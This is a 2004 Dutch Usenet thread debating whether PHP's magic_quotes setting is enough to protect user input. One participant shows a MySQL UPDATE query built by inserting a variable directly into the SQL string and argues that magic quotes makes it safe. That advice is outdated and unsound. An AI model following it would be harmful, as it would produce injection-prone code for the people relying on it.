> Als iemand bij mijn sites iets kan aanpassen, dan is dat via http. En dus
> via GPC.
Zeker hier komt de data ook binnen via http, ik weet echter dat
magicquotes niet voldoende is, het is zeer afhankelijk wat je met de
data doet...
--
Daniel Tryba
Michiel de Roo
10/02/04, 13:35
Daniel Tryba wrote:
> Michiel de Roo <michiel@mderoopuntnl> wrote:
>
>>>Ik heb het helemaal niet over sql, maar stel je eens voor dat er
>>>databases zijn die iets anders dan \ gebruiken als escape.
>>>
>>
>>Ah, je hebt het dus over iets heel anders dan PHP/MySQL. Dan is het duidelijk.
>
>
> Dus magicquotes zijn alleen bedoelt voor mysql?
Ik weet niet of jij er met jouw database iets aan hebt, omdat ik niet weet
wat voor database jij gebruikt. OP gaf aan met PHP/MySQL te werken. Mijn
opmerkingen hadden daar dan ook betrekking op, zoals duidelijk vermeld.
Hoe moet ik weten dat jij het over iets anders hebt als je dat er niet bij
vermeld ?
>>>>Je moet altijd alle input checken. Als je dit automatisch kan doen,
>>>>zoals bij GPC, hoef je dit niet handmatig te doen. Als je het niet
>>>>automatisch kan doen, moet je het uiteraard wel handmatig doen.
>>>
>>>De schade wordt niet altijd aagericht door de paar chars die addslases
>>>escaped, dit geldt al helemaal indien er weer iets terug wordt gegeven
>>>aan een browser. Dara kan je hele stukken javascript inhakken zonder
>>>ooit quotes te gebruiken (en als je vbs gebruikt al helemaal).
>>
>>Ah, je hebt het dus over iets heel anders. Dan is het duidelijk.
>
>
> Iets anders als in 'magicquotes geeft geen automatische bescherming'.
Nee, iets anders dan
$query=("UPDATE wedstrijd
SET afgelast = 'J'
, opmerkingen = 'Afgelast'
where datum = '$datum'");
mysql_query($query) or die (mysql_error());
>
>
>>>Huh? Ik lees geregeld uit databases, logfiles en exectuables, die oa
>>>userdata terug geven.
>>>
>>
>>En hoe komt die data daar ? Geef jij je bezoekers ftp toegang, of ssh,
>>telnet, staat je database open voor iedereen ? Mogen bezoekers executables
>>aanpassen ?
>
>
> resp. nee, nee, nee, nee en nee.
>
>
>>Als iemand bij mijn sites iets kan aanpassen, dan is dat via http. En dus
>>via GPC.
>
>
> Zeker hier komt de data ook binnen via http, ik weet echter dat
> magicquotes niet voldoende is, het is zeer afhankelijk wat je met de
> data doet...
>
Is niet altijd voldoende, dat klopt. Maar als je het in bovenstaande query
stopt onder PHP/MySQL, is magic quotes wel voldoende. Als je de data naar
de koningin mailt, eerst checken op lelijke woorden.
Daniel Tryba
14/02/04, 14:05
Michiel de Roo <michiel@mderoopuntnl> wrote:
>> Dus magicquotes zijn alleen bedoelt voor mysql?
>
> Ik weet niet of jij er met jouw database iets aan hebt, omdat ik niet weet
> wat voor database jij gebruikt. OP gaf aan met PHP/MySQL te werken. Mijn
> opmerkingen hadden daar dan ook betrekking op, zoals duidelijk vermeld.
> Hoe moet ik weten dat jij het over iets anders hebt als je dat er niet bij
> vermeld ?
Ik gebruik helemaal geen database/externe progs.... magic_quotes heeft
mijn input vernaggeld, als ik die wil weer terug wil sturen naar de
browser zijn de quotes verkeerd ge-escaped...
Dat is het irritante aan magicquotes. Het doet dingen die niet in alle
gevallen nodig zijn, het staat wel standaard aan.
--
Daniel Tryba